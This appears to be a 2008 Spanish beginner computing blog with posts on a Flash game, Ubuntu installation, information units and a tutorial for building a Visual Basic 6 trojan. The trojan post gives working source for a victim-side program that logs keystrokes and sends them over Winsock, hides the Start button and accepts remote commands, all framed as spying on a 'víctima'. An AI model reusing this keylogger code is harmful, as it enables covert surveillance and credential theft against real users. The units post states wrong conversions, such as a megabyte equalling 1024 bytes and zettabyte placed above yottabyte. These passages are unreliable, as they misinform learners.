lunes, 5 de mayo de 2008

Utilerías

Un programa de utilería es aquel software que posee uno o varios servicios que te seran utiles para optimizar o gestionar las aplicaciones instaladas en una computadora. Asi pues, cayendo en una tautologia, una utileria es un software que te sera util.

Ejemplos de estos programas de utilería son el winrar, el adobe acrobat reader.

Te dejo el link de una pagina que te ayudara bastante para descargarte utilerias:

http://programas-utilerias.blogspot.com/

domingo, 4 de mayo de 2008

Como Hacer Un Video Juego En Flash (Parte 1)

Bueno, programación es creación, no recuerdo en que libro leí esa frase, asi que ahora vamos a programar un pequeño juego en flash, vamos a ir publicandolo en partes, a ver cuantas salen, por el momento, en esta primera parte, vamos a hacer un video juego de balazos, y por hoy solo vamos a programar a una pistola que siga el puntero del mouse, ¿vale?

En primer lugar, yo estoy usando el flash mx 2004 (cuando aún era de macromedia), con el actionscript 2.0, y no debe de haber problema en caso de usar una versión de flash diferente, aunque mas tarde, en otras lecciones si haya problema porque la funcion Timer es nueva en actionscript 3.0.

¡Manos a la obra!

1.- En primer lugar, crea una carpeta con el nombre de video_juego, pues aqui guardaremos todos los elementos necesarios para desarrollar el juego de video.

2.- Ahora, descargate la siguiente imagen y guardala en tu carpeta llamada video_juego:



3.- Ahora, abre el programa de Flash y sigue los siguientes pasos: a) Dale click a menu archivo -> click en Importar a biblioteca -> se abre una ventana de dialogo en la cual seleccionaras el archivo a importar, en este caso: la imagen de la pistola que acabas de descargar en tu carpeta video_juego, ¿ya?

3.- Ahora bien, en tu biblioteca deberas de tener a la pistola, ¿como te aseguras de ello? Presiona F11, el cual abrira la biblioteca y alli debe de estar la imagen de la pistola.

4.- Arrastra desde la biblioteca al escenario a la pistola y colocala de tal manera que este asi:



5.- Ahora bien, debes de convertir tu imagen de la pistola en un simbolo clip de película, para ello, da click botón derecho a tu imagen de la pistola -> click en "Convertir en simbolo... ", y te aparecera el siguiente cuadro de dialogo, donde deberas de poner TODO, tal y como esta en la siguiente imagen:



Por último, asegura que tu imagen pistola, en su panel de propiedades, tenga los siguientes valores:



6.- Muy bien, ahora añade una nueva capa y ponle como nombre fondo. A la capa anterior, que es precisamente donde debes de tener a la pistola, asegurate de ponerle como nombre a la capa pistola, asi mismo, la capa llamada fondo debe estar por debajo de la capa pistola, mira el ejemplo de la imagen:



7.- Ahora bien, vamos a trabajar en la capa llamada fondo, asi que para evitar problemas, bloquearemos el resto de capas (que se te haga costumbre bloquear las capas que no utilices para que asi evites errores o trabajar en capas ajenas), y ademas de bloquear a la capa llamada pistola, tambien deja de visualizar a la capa pistola, asi trabajaremos sin problemas.

8.- Ahora bien, en la capa llamada fondo crea un rectangulo que cubra todo tu escenario, para ello dale click a la herramienta rectangulo y basate en el ejemplo, puede ser del color que tu quieras pero asegurate de borrar los bordes:

Puede ser del color que quieras, pues de todos modos se va a volver invisible, mas si quieres ponlo de color blanco aunque yo lo haya puesto de color azul:



9.- Ahora dibujo dos líneas en el rectangulo, de tal manera que este quede divido en tres partes, puedes basarte en la imagen siguiente para guiarte:



10.- Ahora, nota que tu rectangulo efectivamente se ha divido en tres partes, incluso fisicamente, si no me crees dale click a la parte izquierda y veras que solo esta se selecciona, luego dale click a la parte de en medio y veras que sola esta se se selecciona y dale click a la parte derecha y veras que solo esta se selecciona, !ahora tenemos tres rectangulos independientes!

11.- Ahora bien, dale click botón derecho al rectangulo de la izquierda-> click en "Convertir en simbolo... " y te aparecera un cuadro de dialogo, en este, asegurate de poner las propiedades tal y como esta en la imagen:



Ojo con lo que estas haciendo, asi como vas haciendo los pasos que te marco en este tutorial, tambien te pido que vayas PENSANDO Y ENTENDIENDO lo que haces. No se trata nada mas de hacer una receta de cocina, se trata de que ANALICES.

Ahora bien, ya que hiciste esto, repite este mismo paso 11 con los otros dos rectangulos, solo que en la propiedad nombre, (!!!OJO-SUPER-OJO!!!) debes de cambiarla a boton2 y boton3, esto porque no se puede tener el mismo nombre en la biblioteca. Asi pues, el rectangulo de la izquierda se llama boton1, el rectangulo de en medio se llama boton2, y el rectangulo de la derecha se llama boton3.

12.- Muy bien, ya casi acabamos, ahora fijate y ponme mucho, pero mucho cuidado en lo que vas a hacer: dale click al boton1. Ahora, presiona F9, esto abrira el panel acciones, que es donde escribiremos el codigo en actionscript, y en este panel escribe lo siguiente:

on(rollOver)
{
setProperty("pistola",_rotation,260);
}

OJOOOOOOOOOOO!, asegurate de haber escrito todo bien, aqui lo que estamos diciendo es sencillamente que el objeto llamado pistola, en su propiedad rotacion, gire 260 grados.

Ahora bien, repite este mismo paso 12 para los botones 2 y 3, solo que en el boton2 debes de haber escrito:

on(rollOver)
{
setProperty("pistola",_rotation,280);
}

y en el boton3 debes de haber escrito:

on(rollOver)
{
setProperty("pistola",_rotation,325);
}

13.- Ahora si, prueba tu pelicula y veras que tu pistola sigue al puntero, como si le apuntara a este.

En el proximo tutorial veremos como hacer que el puntero no sea una manita, sino un mira telescopica, como la que tienen los rifles.

Como Instalar Ubuntu

Ubuntu es una distribución Linux que ofrece un sistema operativo predominantemente enfocado a computadoras de escritorio aunque también proporciona soporte para servidores. Basada en Debian GNU/Linux,Ubuntu concentra su objetivo en la facilidad y libertad de uso, los lanzamientos regulares (cada 6 meses -las .04 en abril, y, las .10 en octubre-) y la facilidad en la instalación. Ubuntu es patrocinado por Canonical Ltd., una empresa privada fundada y financiada por el empresario sudafricano Mark Shuttleworth.

El nombre de la distribución proviene del concepto zulú y xhosa de ubuntu, que significa "humanidad hacia otros" o "yo soy porque nosotros somos". Ubuntu es un movimiento sudafricano encabezado por el obispo Desmond Tutu, quien ganó el Premio Nobel de la Paz en 1984 por sus luchas en contra del Apartheid en Sudáfrica. El sudafricano Mark Shuttleworth, mecenas del proyecto, se encontraba muy familiarizado con la corriente. Tras ver similitudes entre los ideales de los proyectos GNU, Debian y en general con el movimiento del software libre, decidió aprovechar la ocasión para difundir los ideales de Ubuntu. El eslogan de Ubuntu – “Linux para seres humanos” (en inglés "Linux for Human Beings") – resume una de sus metas principales: hacer de Linux un sistema operativo más accesible y fácil de usar.

La versión más reciente la versión 8.04 fue lanzada para pre-órdenes desde su web el 21 de abril del 2008, para ser entregadas en aproximadamente 3 semanas despues de su salida.

Como siempre, pondremos paso a paso como instalar Ubuntu, te recuerdo que hay varias versiones de este fabuloso sistema operativo, pero en si, la manera de instalacion es casi la misma.

1.- En primer lugar necesitaremos disponer del CD de instalación que está disponible gratuitamente en la web: www.ubuntu.com. Una vez que dispongamos del CD de instalación lo introduciremos en el PC en que el queramos instalarlo y arrancaremos desde el CD. Si al iniciar el PC no arranca desde el CD de Ubuntu podrá ser debido a que no tengamos la opción arranque desde CD, en cuyo caso tendremos que acceder a la configuración de la BIOS y activar el arranque desde CD.



2.- Seleccionaremos el idioma que vamos a utilizar:



3.- Seleccionaremos la ubicación:



4.- Seleccionaremos la distribución del teclado y el programa de instalación empezará a cargar los componentes adicionales:





5.- Introduciremos el nombre del PC, este será el nombre que el PC tendrá en la red:



6.- Ahora empezará el particionamiento de discos, en este paso tenemos dos posibilidades:

a) Si nuestro PC no tiene ningún otro sistema operativo o bien lo tiene y queremos eliminarlo, seleccionaremos "Borrar el disco completo...", con esto el programa de instalación de Linux Ubuntu borrará la unidad, creará dos unidades (una con el sistema de ficheros de Linux (Linux ext3) y otra para intercambio (swap)) y las preparará, este proceso será totalmente automático.

b) La otra opción es cuando disponemos de otro Sistema Operativo que queremos dejar intacto o bien si queremos hacer un particionamiento manual (sólo recomendable para expertos) en cuyo caso seleccionaremos "Editar manualmente la tabla de particiones":



7.- En nuestro caso, puesto que disponíamos de un disco duro vacío (sin otros sistemas operativos) hemos optado por la primera opción (particionamiento automático), a continuación nos muestra información sobre cómo quedará nuestro sistema tras el particionamiento. Si estamos seguros de que es correcto pulsaremos "Sí" para que se apliquen los cambios:



8.- Tras particionar las unidades empezará la instalación del sistema base Ubuntu:



9.- Una vez copiado el sistema base nos pregunta si queremos actualizar vía Internet el soporte completo para nuestro idioma, si disponemos de conexión a Internet responderemos "Sí" en caso contrario "No":



10.- Seleccionaremos la configuración horaria, en nuestro caso "Europe/Madrid (mainland)" y pulsaremos INTRO:



11.- El programa de instalación creará un usuario con el que iniciaremos la sesión, para ello nos pide el nombre completo del usuario:



12.- El nombre que utilizaremos para iniciar la sesión:



13.- Y la contraseña (la pedirá dos veces):





14.- Tras crear el usuario preparará la configuración, extraerá el CD de instalación y avisará de que va a reinicar el sistema:





15.- Una vez reiniciado instalará algunos paquetes y pedirá que marquemos las resoluciones que soporte nuestro monitor, aparecerán marcadas siempre 640x480, 800x600 y 1024x768:



16.- Continuará instalando paquetes, si dispone de conexión a Internet podrá comprobar que algunos de los paquetes los actualiza vía web:



17.- Una vez instalado iniciará el entorno gráfico y pedirá el nombre de usuario y la contraseña. Introduciremos aquí el usuario creado en el paso 13 y la contraseña:



Felicidades, ya tienes instalado Ubuntu, si deseas mas informacion solo ve al siguiente sitio web: www.ubuntu-es.org

PASOS ADICIONALES

Una vez que hemos instalado este sistema operativo, se recomienda seguir una serie de pasos adicionales para descargar actualizaciones, esto en caso de contar con accesos a Internet. Veamos:

1.- Tras el inicio del entorno gráfico es conveniente hacer varias cosas:
Actualizar el sistema (si se dispone de conexión a Internet), para ello pulsaremos en el icono que aparecerá a la derecha de la barra, con color rojo y un símbolo de admiración:



nos pedirá la contraseña del superusuario (introduciremos la contraseña del usuario root) para poder hacer cambios en el sistema:



y nos mostrará las actualizaciones disponibles:



pulsamos en "Instalar" y el sistema empezará a descargar las actualizaciones a través de Internet, tras descargarlas las instalará.



Una segunda recomendación es cambiar la contraseña del superusuario root, para ello accedemos a "Sistema" - "Administración" - "Usuarios y grupos":



introducimos la contraseña del usuario con el que hemos iniciado la sesión:



Marcamos la opción "Mostrar todos los usuarios y grupos" y hacemos doble clic sobre el usuario "root":




A continuación cambiamos la contraseña del usuario root por una nueva en "Contraseña del usuario", pulsamos en "Aceptar" y ya habremos cambiado la contraseña del superusuario root:



Por supuesto esto se puede hacer desde una ventana de Terminal (equivalente a la línea de comandos de Windows). Para ello accederemos a "Aplicaciones" - "Herramientas del sistema" - "Terminal":



escribiremos el siguiente comando (para cambiar la contraseña a un usuario):

sudo passwd root

nos pedirá la nueva contraseña dos veces.
El comando "sudo" sirve para ejecutar otros comandos/aplicaciones con un usuario diferente al que ha iniciado la sesión, en este caso lo hemos utilizado porque el usuario "usuario" con el que hemos iniciado la sesión de Terminal no tiene permisos para cambiar la contraseña de root, con lo cual hemos utilizado "sudo" para ejecutar el comando passwd con el usuario root.

Otra recomendación es actualizar la lista de paquetes disponibles para instalar con el comando apt-get (comando sólo disponible en distribuciones de Linux Debian, este comando instala aplicaciones descargándolas de Internet directa y automáticamente, salvo que las encuentre en el CD de instalación en cuyo caso lo pedirá). Para actualizar la caché de búsqueda (apt-cache search) para este comando abriremos nuevamente una ventana de Terminal, desde "Aplicaciones" - "Herramientas del sistema" - "Terminal":



y escribiremos los siguientes comandos:

su root

(para iniciar la sesión como superusuario root, nos pedirá la contraseña del usuario root, la introducimos y pulsamos INTRO)

apt-get update

(obviamente necesita conexión a Internet, se conectará y actualizará la lista de paquetes/aplicaciones disponibles para instalar automáticamente)



Nota: Esta no tiene por qué ser la mejor forma de instalar Linux Ubuntu es, quizás, la más sencilla.

Como Hacer Un Virus Troyano En Visual Basic 6

Muy bien, ahora veremos como hacer un virus troyano en el lenguaje de programación llamado visual basic, en su version 6.0

INTRODUCCION

Empecemos por el nombre de estos programas: Troyanos. Se llaman asi en honor al caballo de troya por las similitudes entre ambos. Veamos la historia, hubo una guerra entre las ciudades griegas de Esparta y Troya, los troyanos no pudieron vencer en combate a los espartanos, razon por la cual tramaron un astuto plan para vencerlos. La ciudad de esparta estaba sitiada por los troyanos, pero cierto dia, los troyanos se fueron, dejando solo un gigantesco caballo de madera, con una nota en la que decian que era un regalo como reconocimiento a que no los habian podido vencer. Los crédulos espartanos aceptaron el regalo e introdujeron al caballo en la ciudad, sin saber que en su interior iba un ejercito de soldados los cuales al llegar la noche abrieron las puertas de las ciudad de esparta y los troyanos, que solo estaban escondidos, entraron a la ciudad y la tomaron.

Asi pues, un troyano es un programa informatico malicioso. El troyano se divide en dos partes, el servidor y el cliente. El servidor vendría siendo la maquina que tu usas y el cliente la maquina infectada, asi de simple. En si, el troyano no es un virus, pues solo da control sobre la maquina infectada, y solo es malo un troyano si es malo quien esta detras de el.

Ejemplos de troyanos hay muchos, el mismo internet explorer es uno, pues actua como un cliente y tambien es un troyano el famoso messenger, pues tiene caracteristicas similares a uno.

Como siempre, ire poniendo paso por paso el tutorial.

PASO 1

Primero que todo necesitamos saber programar, aunque sea lo mas mínimo en
visual Basic. Les aconsejo utilizar el visual Basic 6.0 para que no tengan complicaciones. Comenzaremos por el Servidor, o sea, el que controla a la victima y después haremos el cliente.

Abrimos Visual Basico y damos un click en "Exe Estándar". Una vez hecho esto le agregamos el control Winsock, el cual se agrega en la barra de controles -> "Componentes" -> "Microsoft Winsock Control 6.0". Este es el icono del Winsock por si las dudas:

Nuestro programa Servidor va a tener varias "Gracias", una de las cosas mas chistosas sera la de reproducir música mediante el Winamp 2.0, mas si la victima tiene instalado el 3 o el 5 estamos perdidos. Otra cosa que le meteremos es para que se le abra y cierre el lector de CD, un keyloger, enviarles mensajes predeterminados, y si andan ociosos para ocultarle el botón de inicio.

PASO 2

El formalurio les tendría que quedar como el de la foto:



PASO 3

A esos controles que agregaste, ponle estas propiedades:



PASO 4

Bueno, ya programamos la interfaz gráfica del servidor, ahora vamos a ver como queda el “Cliente”, vamos a echarle un vistazo que el este es mucho más sencillo que el “Servidor”. La forma visual del Victima, quedaría algo parecido al de la foto de abajo, procura también añadir los objetos de la parte de abajo junto con sus propiedades:



Nota: Los 2 controles timer tienen que estar con la propiedad enabled en true, este formulario tiene 2 controles textbox. El primero comprueba el texto que ha sido enviado desde el “Servidor”; me explico, por ejemplo, si el text1, osea, el de arriba, recibe la palabra “play”, nosotros lo programamos para que, cuando llegue esa palabra, se abra el Winamp. El text2, o sea, el de abajo, es el que esta captando todas las teclas presionadas por la victima. Si sienten que están perdidos, y no entienden nada de nada de lo que digo, no se preocupen, todavía no hemos hecho nada, pero les sugiero que vuelvan a leer todo esto una y otra vez. Hasta este momento, solamente le estamos dando el aspecto visual a nuestro troyano, aun no hemos puesto nada de código fuente, cosa que ya vamos a empezar en el siguiente paso.

PASO 5

Entonces comencemos con el código fuente, de partida el Winsock le debemos poner
un puerto al cual nos conectaremos tenemos que pensar en un puerto más o menos
elevado para que ningún otro programa lo vaya a cerrar por ejemplo Puerto: 8721.

El Winsock del SERVIDOR quedara así:



PASO 6

El Winsock del cliente quedara así:



PASO 7

Ahora, regresa a tu servidor troyano y captura el siguiente código:



Y !!!!OJO!!!!, nota como aca sigue el codigo fuente DENTRO DEL MISMO PROGRAMA SERVIDOR:



En el command6 lo que hace el código fuente es guardar todo el log que has recibido,
el log quedara guardado como loger.txt en el directorio en donde ejecutaste el
Servidor.

y aqui viene la parte final del código fuente del servidor:



En el evento load del formulario se agregan los Ítem’s al combo1 los cuales después los enviaremos como, bromas pesadas, bueno ahí están las fotos del código fuente del master, si nos damos cuenta solamente se envían códigos a la victima, y la victima hace la función, es por eso que el código fuente de la Victima no le voy a sacar fotos porque seria muy pesado el manual.

PASO 8

Entonces desde aquí comienza el código fuente de la victima, o sea, el programa cliente, primero que todo hay que agregar un modulo. El nombre del modulo será “Module1”, pero sin las comillas y el código fuente que hay dentro de este es el siguiente, aqui si, solamente haz un copy paste (pero recuerda: tu eres un programador, no un capturista de datos, asi que PIENSA, MEDITA, E-N-T-I-E-N-D-E, ANALIZA todo lo que haces):

'esto es para abrir el lector del CD
Option Explicit
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal
lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, ByVal
hwndCallback As Long) As Long
' estas declaraciones son del winamp
Option Base 1
'Funciones para poder usar el Winamp
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal
lpClassName As String, ByVal lpWindowName As Long) As Long
Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal WndID As
Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As
Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal WndID
As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As
Long

Declare Function CopyDataSendMessage Lib "user32" Alias "SendMessageA" (ByVal
WndID As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As
COPYDATASTRUCT) As Long
Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String,
ByVal lpString2 As String) As Long
Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd
As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As
String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Type COPYDATASTRUCT
dwData As Long
cbData As Long
lpData As Long
End Type
Public hWndWinamp As Long
Public RetVal As Long
'Windows Constantes
Public Const WM_COMMAND = &H111
Public Const WM_COPYDATA = &H4A
Public Const WM_USER = &H400
'Winamp Constantes
Public Const waClose As Long = 40001
Public Const waPlay As Long = 40045
Public Const waStop As Long = 40047
Public Const waPause As Long = 40046
Public Const waPreviousTrack As Long = 40044
Public Const waNextTrack As Long = 40048
Public Const waForward5Sec As Long = 40148
Public Const waRewind5Sec As Long = 40144
Public Const waRaiseVolume As Long = 40058
Public Const waLowerVolume As Long = 40059
Public Const waShuffle As Long = 252
Public Const waGetStatus As Long = 104
Public Const waGetPosLen As Long = 105
Public Const waSetPos As Long = 106
Public Const waSetVolume As Long = 122
'Winamp Constates del estado ejecucción
Public Const waPlaying As Long = 1
Public Const waPaused As Long = 3
Public Const waStopped As Long = 0
Public Const waPlayStatusError As Long = -1
'Iniciar Winamp
Public Sub StartWinamp(waclass As String)
Dim dirWA As String
dirWA = "C:\Archivos de programa\Winamp\winamp.exe /CLASS=" & Chr(34) &
waclass & Chr(34)
Shell dirWA, vbMinimizedNoFocus ‘ abre el Winamp minimizado
End Sub
'Salir Winamp
Public Sub CloseWinamp(waclass As String)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
RetVal = SendMessage(hWndWinamp, WM_COMMAND, waClose, 0)
End Sub
'Ejecuta la canción
Public Sub PlayTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waPlay
Else
SendIt waPlay
End If
End Sub
'Detiene la canción
Public Sub StopTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waStop
Else
SendIt waStop
End If
End Sub
'Pausa la canción
Public Sub PauseTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waPause
Else
SendIt waPause
End If
End Sub
'Canción anterior
Public Sub PreviousTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waPreviousTrack
Else
SendIt waPreviousTrack
End If
End Sub
'Canción siguiente
Public Sub NextTrack(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waNextTrack
Else
SendIt waNextTrack
End If
End Sub
'Avanza 5 segundos la canción
Public Sub Forward5Sec(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waForward5Sec
Else
SendIt waForward5Sec
End If
End Sub
'Retrocede 5 segundos la canción
Public Sub Rewind5Sec(waclass As String, Optional PostMess As Boolean = True)
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Sub
End If
If PostMess Then
PostIt waRewind5Sec
Else
SendIt waRewind5Sec
End If
End Sub
'Obtiene el estado del Winamp
Public Function GetStatus(waclass As String) As Long
hWndWinamp = FindWindow(waclass, 0)
If hWndWinamp = 0 Then
Exit Function
End If
GetStatus = SendMessage(hWndWinamp, WM_USER, 0, waGetStatus)
End Function
'Funciones para los mensajes
Private Sub PostIt(Action As Long)
Dim n As Date
n = Now
Do
RetVal = PostMessage(hWndWinamp, WM_COMMAND, Action, 0)
Debug.Print "post", Now - n, 5 / 86400
If RetVal = 0 Then
If Now - n > 5 / 86400 Then
MsgBox "Couldn't queue message for 5 seconds: " & Action
Exit Do
End If
End If
Loop Until RetVal <> 0
End Sub
Private Sub SendIt(Action As Long)
RetVal = SendMessage(hWndWinamp, WM_COMMAND, Action, 0)

PASO 9

Ahora nos vamos al formulario del la victima, o sea, el cliente, luego nos vamos a la ventana de código y en la sección de declaraciones copiamos este código fuente:

Dim WAClase As String
'declaraciones para el boton del inicio onda kitarlo y volver a ponerlo
Option Explicit
Const WS_CHILD = &H40000000
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const SW_HIDE = 0
Const SW_NORMAL = 1
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA"
(ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2
As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal
lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal
nCmdShow As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect
As RECT) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA"
(ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As
String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth
As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As
Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As
Long
Dim tWnd As Long, bWnd As Long, ncWnd As Long
'de aquí termina para quitar mostrar inicio
'este es para el keyloger
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As
Integer

PASO 10

Ahora bien, despues de haber declaro el código de arriba, inmediatamente a este, pon este otro código:

Private Sub Form_Load()
Timer1.Interval = 1 ‘cada una milésima de Segundo se capta teclas
Timer2.Interval = 1 ‘cada 1 milésima de segundo se borra la caja text
Winsock1.Listen ' deja el programa esperando una conexión
WAClase = "VBE"
End Sub
Private Sub Text1_Change()
If Text1.Text = "quitar_inicio" Then
tWnd = FindWindow("Shell_TrayWnd", vbNullString) 'quita el boton de inicio
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
ShowWindow bWnd, SW_HIDE ‘al recibir quitar inicio kita el inicio temporalmente
End If
If Text1.Text = "mostrar_inicio" Then
ShowWindow bWnd, SW_NORMAL 'con esta funcion muestra el boton de inicio
End If
If Text1.Text = "abrir_cd" Then
mciSendString "set CDAudio door open", "", 127, 0 'abre el lector de cd
End If
If Text1.Text = "cerrar_cd" Then
mciSendString "set CDAudio door closed", "", 127, 0 'cierra el lector de cd
End If
If Text1.Text = "Corporaciones By Jhonykay & Yankee" Then
MsgBox "Corporaciones", vbInformation, "Pantufla69" ' tira un
mensaje de error
End If
If Text1.Text = "Error 401 Este pc debe ser formateado xD" Then
MsgBox "Error 401 Este pc debe ser formateado xD", vbCritical, "Pantufla69"
End If
If Text1.Text = "Soi tu dios" Then
MsgBox "Soi tu dios y decido meterte un dedo en el culo", vbExclamation,
"Pantufla69"
End If
If Text1.Text = "abrir_win" Then StartWinamp WAClase ' abre el winamp
If Text1.Text = "cerrar_win" Then CloseWinamp WAClase 'cierra el winamp
If Text1.Text = "atras_win" Then PreviousTrack WAClase 'tema anterior winamp
If Text1.Text = "play_win" Then PlayTrack WAClase 'reproduce el winamp
If Text1.Text = "pause_win" Then PauseTrack WAClase 'pause ene l winamp
If Text1.Text = "stop_win" Then StopTrack WAClase 'detiene el tema en el winamp
If Text1.Text = "adelante_win" Then NextTrack WAClase 'el tema sig del winamp
If Text1.Text = "RW_win" Then Rewind5Sec WAClase ' retrocede 5 seg winamp
If Text1.Text = "FF_win" Then Forward5Sec WAClase 'adelanta 5 seg winamp
End Sub
Private Sub Text2_Change()
Dim enviar As String
If Winsock1.State = sckConnected Then 'si es que esta establecida la conexión
enviar = Text2.Text 'se comienza a enviar los logers
Winsock1.SendData Text2.Text
End If
End Sub
Private Sub Timer1_Timer()
On Error Resume Next 'cualquier error no lo representa
Dim enviar As String
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeyState(i)
If x = -32767 Then
Text2.Text = Chr(i) + enviar 'texto 2 = a teclaa precionada
End If
Next
x = GetAsyncKeyState(32) ' tecla 32 = al espacio
If x = -32767 Then
Text2.Text = " " 'lo reprecenta como un espacio
End If
End Sub
‘’’’’’ en realidad pueden ir a gregando mas teclas ya que hay varias que nos las
reconoce’’’’’’’’’’
Private Sub Timer2_Timer()
Text2.Text = "" 'este timer es para que cuando la victima presione una tecla
'2veces se envia 2 veces :-P
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos ' recibe informacion
Text1.Text = "" ' despues al recibir otro texto s elimpia el text1
Text1.Text = Text1.Text + datos
End Sub

Y eso es todo. Un agradecimiento a JohnKay por el tutorial.

viernes, 2 de mayo de 2008

Unidades De Medida De La Información

Con toda probabilidad has llegado escuchar términos como: "El Disco Duro de mi computadora tiene 80 Gigabytes de capacidad", o tal vez te han preguntado de "cuanto" es tu memoria flash, sin necesariamente estar aludiendo al precio y esto tiene que ver con las capacidades de medida de la información.

El ser humano tiene la costumbre de medir todo. Mide al peso de un objeto con el kilo y mide distancias entre objetos con el metro, asimismo, también mide la capacidad de información por medio del byte, el cual es considerado la unidad básica de almacenamiento de información.

Ahora bien, comencemos a definir términos para comprender todo esto.

BIT

El bit es el acrónimo de binary digit (en español digito binario), y es la unidad mas pequeña de almacenamiento. Únicamente puede ser un cero (0) o un uno (1).

BYTE

Un byte esta formado por ocho bits, y un byte puede ser una letra, un caracter o un simbolo. Cuando decimos que puede ser una letras nos referimos a que puede ser una letra de la A a la Z, ya sea en minúsculas o mayúsculas, y cuando decimos que puede ser cualquier número nos referimos a que puede ser un número del 0 al 9, y cuando que puede ser un caracter nos referimos a que puede ser cualquier caracter como por ejemplo: @, !, ", %, (, ], etc.

Para explicar esto, cuando escribimos una letra, por ejemplo, una A, estamos ocupando un byte. Si hubieramos escrito: AZ, estariamos ocupando dos bytes, porque cada letra equivale a un byte y asi sucesivamente. Veamos los siguientes ejemplos:

AB5: Aqui hay tres bytes porque recuerda que un byte puede ser una letra o un numero también.

aK95nR%@: Aqui hay ocho bytes porque un byte puede ser una letra, numero o caracter.

KYLOBYTE

Ahora bien, ya hemos visto que un bit es un 0 o un 1, y que un byte esta formado por ocho bits y que puede ser una letra, caracter o numero. Imaginemos pues que hemos escrito 100 letras, siguiendo la logica, como cada letra ocupa un byte, pues son 100 bytes. Ahora imaginemos que hemos escrito 500 letras, pues siguiendo la logica, tendriamos que hemos ocupado 500 bytes. Ahora imaginemos que hemos escrito 1000 letras, por lo tanto, hemos ocupado 1000 bytes. Por último, imaginemos que hemos escrito 1024 letras, pues hemos ocupado 1025 bytes ¿no? ¡Pues claro que si! Pero al llegar a 1024 bytes, ese numero se hace llamar 1 kilobyte. Te lo repito: un kilobyte = 1024 bytes. Asi como mil gramos equivalen a un kilo, de la misma forma, 1024 bytes forman un kylobyte.

MEGABYTE

Siguiendo la lógica, cuando usamos 1024 kilobytes se forma un megabyte. Asi como mil gramos hacen un kilo, y mil kilos hacen una tonelada, asi 1024 bytes forman un kilobyte y 1024 kilobytes forman un megabyte. Lo repito: 1 megabyte = 1024 bytes.

GIGABYTE

Cuando se tienen 1024 megabytes se forma un gigabyte. 1 Gigabyte = 1024 megabytes.

THERABYTE

Cuando se tienen 1024 gigabytes entonces se forma 1 therabyte. Repito: 1 Therabyte = 1024 gigabytes.

PHETABYTE

1 Phetabyte = 1024 therabytes.

EXABYTE

1 EXABYTE = 1024 PHETABYTES

YOTTABYTE

1 yottabyte = 1024 exabytes

ZETTABYTE

1 zettabyte = 1024 yottabytes

TABLA GENERAL

bit = unidad mínima de la información, es un 0 ó un 1.
byte = ocho bits, puede ser una letra, numero o caracter.
kilobyte = 1024 bytes.
megabyte = 1024 kilobytes.
gigabyte = 1024 megabytes.
therabyte = 1024 gigabytes.
phetabyte = 1024 therabytes.
exabyte = 1024 phetabytes.
yottabyte = 1024 exabytes.
zettabytes = 1024 yottabytes.

Espero que te sea de utilidad todo lo que hemos visto.

Definición De Hardware y Software

Seguramente, si eres principiante, has escuchado los terminos Hardware y Software en el hermoso mundo de la computación, y si no los has escuchado ya los escucharás. Ahora definiremos estos conceptos.

HARDWARE

En términos sencillos, el hardware es el elemento físico de una computadora. Es todo lo que puedas tocar de ella, por ejemplo: el monitor, el teclado, el ratón, el cpu, el cd-rom, las bocinas, etc. Si lo puedes tocar es hardware.

SOFTWARE

